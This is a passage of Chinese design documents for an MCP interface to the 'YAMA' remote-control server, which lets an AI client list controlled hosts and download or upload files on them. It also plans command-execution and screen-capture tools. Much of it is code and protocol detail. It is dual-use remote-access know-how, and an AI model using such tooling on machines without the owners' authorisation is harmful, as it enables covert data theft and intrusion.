if (tok.empty()) tok = GenerateRandomToken(); // 预填随机,随保存持久化
|
||||
// 回填到控件:m_bEnabled / m_nPort / m_strBind / m_strToken
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void CMcpSettingsDlg::OnBnClickedBtnSave()
|
||||
{
|
||||
// 从控件收集:enabled / port / bind / token
|
||||
if (enabled && token.empty()) {
|
||||
MessageBoxL(_TR("Token 不能为空"), _TR("提示"), MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
THIS_CFG.SetInt("settings", "McpEnabled", enabled ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpPort", port);
|
||||
THIS_CFG.SetStr("settings", "McpBind", bind);
|
||||
THIS_CFG.SetStr("settings", "McpToken", token);
|
||||
MessageBoxL(_TR("MCP 设置已保存。\n启用/端口/绑定地址/Token 的改动需重启程序生效。"),
|
||||
_TR("提示"), MB_ICONINFORMATION);
|
||||
CDialogLangEx::OnOK();
|
||||
}
|
||||
```
|
||||
|
||||
#### 3.8.4 与运行时 token 逻辑的衔接
|
||||
|
||||
对话框的「默认随机 token」是把随机值**写入 `McpToken` 并持久化**,于是下次启动走 `env → McpToken` 的固定 token 分支;运行时「两者皆空则随机」分支仅在用户从未通过对话框设置过(或手动清空 token)时兜底,两者不冲突。`GenerateRandomToken()` 为 MCP 侧新增的小工具函数(32 hex 随机串,可用 `rand_s` / `BCryptGenRandom` 实现;如需可复用 `WebServiceAuth.h` 的 `ComputeSHA256` 派生)。
|
||||
|
||||
---
|
||||
|
||||
## 4. 实施步骤
|
||||
|
||||
| 步骤 | 内容 | 验收 |
|
||||
|---|---|---|
|
||||
| 1 | 新建 `McpProtocol`:JSON-RPC 分发 + `initialize`/`tools/list`/`tools/call`(含 jsoncpp 解析/序列化) | 单元自测:手写请求串,验证响应 |
|
||||
| 2 | 新建 `McpServer`:httplib 起 `127.0.0.1:6544`,`POST /mcp` 路由 + token 校验(含随机生成) | curl 请求返回 401/正常 |
|
||||
| 3 | 抽公共函数 `BuildHostJson`,`CWebService::BuildDeviceListJson` 改调之 | Web 输出不变,零回归 |
|
||||
| 4 | 注册 `list_online_hosts` 工具:handler 持父对话框、`m_cs` 锁内遍历、调 `BuildHostJson` 组装 | `tools/call` 返回主机列表 |
|
||||
| 5 | 新增 `McpSettingsDlg` + 菜单项接线(`ID_MCP_SETTINGS` / `OnMcpSettings` / `HIDE_MENU_MCP_SETTINGS` / `IDD_DIALOG_MCP_SETTINGS` 资源) | 对话框可启用/禁用、配置端口/绑定/token,保存落盘并提示重启 |
|
||||
| 6 | 接入 `2015RemoteDlg` 启动/停止(按 `McpEnabled` 门控)+ 配置 | 服务端启动后端口监听正常 |
|
||||
| 7 | Claude Code 接入验证(见 §5) | 见验收标准 |
|
||||
|
||||
---
|
||||
|
||||
## 5. 验收标准
|
||||
|
||||
1. 在「MCP设置」对话框启用并重启服务端后,`127.0.0.1:6544` 监听正常,外部地址无法访问;未启用时该端口不监听。
|
||||
2. 无 token 的请求返回 HTTP 401;错误 token 返回 401;正确 token 通过。
|
||||
3. `curl` 模拟 `initialize` → `tools/list` → `tools/call` 全流程,返回符合 JSON-RPC 2.0 与 MCP 规范。
|
||||
4. Claude Code 侧:
|
||||
```bash
|
||||
claude mcp add yama --transport http http://127.0.0.1:6544/mcp -H "Authorization: Bearer <token>"
|
||||
```
|
||||
`claude mcp list` 能看到 `yama`,在对话中问「列出在线主机」能正确触发工具并返回列表。
|
||||
5. 现有 Web 控制台、IOCP 主服务功能无回归。
|
||||
|
||||
---
|
||||
|
||||
## 6. 风险与约束
|
||||
|
||||
| 风险 | 说明 | 应对 |
|
||||
|---|---|---|
|
||||
| 无官方 C++ MCP SDK | 需手写 JSON-RPC 协议层 | 仅实现 3 个方法,量小可控;协议稳定后再考虑抽库 |
|
||||
| MCP 规范版本演进 | protocolVersion 字符串需与客户端匹配 | 实现时对照最新规范;`initialize` 返回可协商版本 |
|
||||
| 并发安全 | 遍历 `m_HostList` 需持 `m_cs` | MCP 与 WebService 采用相同的「`m_cs` 锁内遍历」模式 |
|
||||
| 字符编码 | GBK/UTF-8 分叉 | 复用公共函数 `BuildHostJson` 的编码处理,不自造 |
|
||||
| token 存储 | `THIS_CFG` 的 token 会明文落盘;随机 token 会打印到日志 | 本地回环 + 只读,风险可控;敏感场景建议仅用 env 并妥善保管 |
|
||||
|
||||
---
|
||||
|
||||
## 7. 后续扩展规划(本期不做)
|
||||
|
||||
- 工具:`get_host_processes`(进程列表)、`execute_command`(命令执行)、`capture_screen`(截图)等
|
||||
- 写操作工具的安全边界评审(操作对象、权限、审计)
|
||||
- 认证升级:复用 `WebServiceAuth` 的签名 token / 过期机制
|
||||
- 分组过滤:`list_online_hosts` 加 `group` 参数
|
||||
|
||||
---
|
||||
|
||||
## 8. 决策记录
|
||||
|
||||
**决策记录(全部已定):**
|
||||
- ✅ **启用开关**:新增 `McpEnabled`,默认 `0`(禁用)。MCP 默认不启动,须用户在「扩展 → MCP设置」对话框手动开启。
|
||||
- ✅ **端口**:`McpPort` 可配置,未配置默认 `6544`(纯端口语义,不再兼任启用开关)。
|
||||
- ✅ **token**:优先顺序 env `YAMA_MCP_TOKEN` → `THIS_CFG.McpToken` → 皆空则随机生成(仅本次进程有效,打印到日志)。对话框内 token 必填、默认随机值(预填并随保存持久化到 `McpToken`)。
|
||||
- ✅ **绑定地址**:默认 `127.0.0.1`(仅本机);可配置为 `0.0.0.0` 或内网 IP(如 `192.168.0.92`)以支持多人协作跨机调用。
|
||||
- ✅ **配置入口**:主对话框「扩展」菜单,位于「地理信息(&L)」子菜单下方新增「MCP设置」菜单项,打开独立配置对话框。
|
||||
- ✅ **生效方式**:MCP 启用/端口/绑定/token 的改动均需重启服务端生效,对话框保存后弹窗提醒「重启程序生效」。
|
||||
- ✅ **取数方案**:C(抽公共函数 `BuildHostJson`,MCP 与 WebService 平级复用)。
|
||||
- ✅ **返回字段**:全量,含实时信息(`rtt` / `activeWindow`),支持 AI 监督场景。
|
||||
- ✅ **序列化**:`structuredContent` + `outputSchema`,`content` 附带可读摘要。
|
||||
@@ -0,0 +1,396 @@
|
||||
# YAMA MCP 文件传输功能设计(download_file / upload_file)
|
||||
|
||||
> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动)。两者共享同一套「文件会话」注册表。
|
||||
> **读者**:MCP 后续功能研发/评审人员。
|
||||
> **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。
|
||||
|
||||
---
|
||||
|
||||
## 1. 背景与目标
|
||||
|
||||
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
|
||||
|
||||
本技术书解决:
|
||||
|
||||
1. **`download_file`**(本期 P1)——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
|
||||
2. **`upload_file`**(后续 P2)——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
|
||||
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
|
||||
|
||||
---
|
||||
|
||||
## 2. 现状回顾
|
||||
|
||||
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|
||||
|---|---|---|---|
|
||||
| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`;`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`(`list_files`) | ✅ |
|
||||
| 远程→本地下载(V1) | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
|
||||
| 远程→本地下载(V2) | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756`(`RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
|
||||
| 本地→远程上传(V2) | `FileBatchTransferWorkerV2`(服务端作 sender) | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
|
||||
|
||||
### 2.1 关键事实
|
||||
|
||||
1. **V2 下载的客户端会另开一条新子连接**:`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`(`FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
|
||||
|
||||
2. **接收端 `RecvFileChunkV2` 无 UI 可调**:`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
|
||||
|
||||
3. **V2 落盘路径由客户端回填**:`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
|
||||
|
||||
---
|
||||
|
||||
## 3. 协议选型(已定:V2)
|
||||
|
||||
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|
||||
|---|---|---|
|
||||
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
|
||||
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
|
||||
| 完整性 | ✅ SHA-256(`COMMAND_FILE_COMPLETE_V2`) | ❌ 无 |
|
||||
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
|
||||
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
|
||||
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机,逐块 ACK 慢 |
|
||||
|
||||
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施,一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
|
||||
|
||||
---
|
||||
|
||||
## 4. 设计原则
|
||||
|
||||
1. **复用现有协议,不新造命令**:`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有;客户端零改动(upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
|
||||
2. **无头接管复用会话模式**:镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession`;`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
|
||||
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`。
|
||||
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
|
||||
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
|
||||
|
||||
---
|
||||
|
||||
## 5. 核心机制:流式文件会话
|
||||
|
||||
### 5.1 会话注册表(`McpServer.h/.cpp`)
|
||||
|
||||
```cpp
|
||||
struct FileTransferSession {
|
||||
std::string tool; // "download_file" / "upload_file"
|
||||
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
|
||||
std::string remotePath; // 审计用原始远程路径(UTF-8)
|
||||
uint64_t transferID = 0; // 绑定后从首包填充(download);upload 由本端 GenerateTransferID()
|
||||
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles(§13 F4)
|
||||
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
|
||||
bool done = false;
|
||||
int error = 0; // FEV2_* / 自定义
|
||||
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
|
||||
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
|
||||
time_t startAt = 0;
|
||||
};
|
||||
std::mutex m_FileXferMutex;
|
||||
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
|
||||
```
|
||||
|
||||
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表(§13 F1)。
|
||||
|
||||
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
|
||||
|
||||
```cpp
|
||||
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
|
||||
const std::string& localDir, const std::string& remotePath);
|
||||
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
|
||||
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
|
||||
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
|
||||
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
|
||||
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
|
||||
```
|
||||
|
||||
### 5.2 流式子连接的路由(device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
|
||||
|
||||
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`)。MCP 只需在这两个 case 的 **`dstClientID==0`(M2C)分支顶部**加守卫:
|
||||
|
||||
```cpp
|
||||
case COMMAND_SEND_FILE_V2: {
|
||||
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
|
||||
if (pkt->dstClientID == 0) {
|
||||
uint64_t devId = ContextObject->GetClientID();
|
||||
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
|
||||
McpServer().OnFileChunkV2(devId, szBuffer, len);
|
||||
break; // 不建 CDlgFileSend、不设 hDlg
|
||||
}
|
||||
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete)不变
|
||||
}
|
||||
// ... C2C 分支(dstClientID != 0)完全不动
|
||||
}
|
||||
```
|
||||
|
||||
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
|
||||
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**:`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接(数据走新流式子连接,§13 F3)。
|
||||
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1,§13 F7)。
|
||||
|
||||
---
|
||||
|
||||
## 6. `download_file` 设计(P1)
|
||||
|
||||
### 6.1 工具 Schema
|
||||
|
||||
```
|
||||
input: {
|
||||
id: string (必填, 主机 id)
|
||||
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
|
||||
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
|
||||
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
|
||||
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
|
||||
}
|
||||
output: {
|
||||
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
|
||||
total_bytes: integer
|
||||
skipped: integer
|
||||
}
|
||||
```
|
||||
|
||||
### 6.2 时序
|
||||
|
||||
```
|
||||
MCP工具线程 服务端 MessageHandle 客户端
|
||||
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
|
||||
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
|
||||
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
|
||||
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
|
||||
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
|
||||
│ (客户端另开一条鉴权流式子连接 ConnectServer)
|
||||
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
|
||||
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
|
||||
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
|
||||
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
|
||||
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
|
||||
```
|
||||
|
||||
### 6.3 服务端改动
|
||||
|
||||
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明(§5.1)。
|
||||
2. **`McpServer.cpp`**:
|
||||
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`(`tools/call` 分派);
|
||||
- `OnFileChunkV2`:**先路径校验**(chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越,§13 F5)→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
|
||||
- `OnFileCompleteV2`:`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`;`filesDone==totalFiles` 时置 `done` + `notify`(§13 F4);
|
||||
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`,§13 F6);
|
||||
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
|
||||
3. **`2015RemoteDlg.cpp`(`MessageHandle`)**:`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
|
||||
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0)。
|
||||
|
||||
### 6.4 落盘与路径安全
|
||||
|
||||
- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`;`targetDir` 用 ANSI(MBCS 构建本机路径)。
|
||||
- 每收到一个 chunk,校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error` 并 `CancelIO`。
|
||||
- 编码:`remote_path` 走 UTF-8→ANSI(936)(Windows 客户端,复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。
|
||||
|
||||
### 6.5 超时与并发
|
||||
|
||||
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12)。核心场景「先 `terminal_exec` 压缩成单 zip,再 `download_file` 拉回」天然是单文件,同步足够。
|
||||
- 默认 `timeout_ms=600000`、上限 3600000,因大文件远超 `kMcpToolTimeoutMs`(20s)。
|
||||
- **单飞互斥(§13 F2)**:`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`。
|
||||
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
|
||||
|
||||
---
|
||||
|
||||
## 7. `upload_file` 设计(P2)
|
||||
|
||||
### 7.1 工具 Schema
|
||||
|
||||
```
|
||||
input: {
|
||||
id: string (必填, 目标主机 id)
|
||||
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
|
||||
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
|
||||
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
|
||||
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
|
||||
}
|
||||
output: {
|
||||
files: [{ path: string, size: integer, sha256: string }] // 已发送文件(远程完整路径);P2 sha256 恒为空串(见 §7.5)
|
||||
total_bytes: integer
|
||||
skipped: integer
|
||||
}
|
||||
```
|
||||
|
||||
### 7.2 方向与连接(与 download 的关键差异)
|
||||
|
||||
| 维度 | download_file(P1) | upload_file(P2) |
|
||||
|---|---|---|
|
||||
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
|
||||
| 发送方 | 客户端(`UploadToRemoteV2` → `FileBatchTransferWorkerV2`) | 主控(`FileBatchTransferWorkerV2`) |
|
||||
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**(`ctx->Send2Client`),无子连接 |
|
||||
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`(SHA-256),客户端 `HandleFileCompleteV2` 校验 |
|
||||
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8) |
|
||||
|
||||
> **修正旧稿(§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
|
||||
|
||||
### 7.3 时序
|
||||
|
||||
```
|
||||
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
|
||||
1. 校验 McpFileTransfer=1 && McpReadonly=0(§8)
|
||||
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
|
||||
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
|
||||
4. BeginFileUpload(id) 登记会话(单设备单传输互斥标记,§6.5)
|
||||
5. 同步驱动(工具线程内):FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
|
||||
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
|
||||
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
|
||||
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
|
||||
```
|
||||
|
||||
### 7.4 服务端改动
|
||||
|
||||
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5)。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
|
||||
2. **`McpServer.cpp`**:
|
||||
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`(`tools/call` 分派);
|
||||
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`);
|
||||
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
|
||||
- overwrite 预检:复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`;
|
||||
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`;`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`;
|
||||
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
|
||||
3. **`2015RemoteDlg.cpp`(MessageHandle)**:**零改动**。
|
||||
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在,§8 复用)。
|
||||
|
||||
### 7.5 完整性边界(诚实声明)
|
||||
|
||||
- V2 无接收方→发送方 ACK:客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8,`KernelManager.cpp:1381` 不回传主控)。
|
||||
- **P2 的 `output.files[].sha256` 恒为空串**:`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256(延后 P3:worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
|
||||
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3)。
|
||||
|
||||
### 7.6 overwrite 语义
|
||||
|
||||
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
|
||||
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
|
||||
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
|
||||
|
||||
### 7.7 安全
|
||||
|
||||
- 门槛 `McpFileTransfer=1 && McpReadonly=0`(§8):upload 写远程盘,复用「允许写」主开关。
|
||||
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
|
||||
|
||||
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7)
|
||||
|
||||
`RecvFileChunkV2` 依赖全局 `g_status==1`(`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
|
||||
|
||||
修法:在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
|
||||
|
||||
```cpp
|
||||
static bool s_v2RecvInited = false;
|
||||
if (!s_v2RecvInited) {
|
||||
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
|
||||
s_v2RecvInited = true;
|
||||
}
|
||||
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
|
||||
```
|
||||
|
||||
要点(独立评审结论,均为安全):
|
||||
|
||||
- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**(`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
|
||||
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit;`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0,`g_status` 恒为 1。
|
||||
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程)、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`(`license.cpp:244`)不会越界。
|
||||
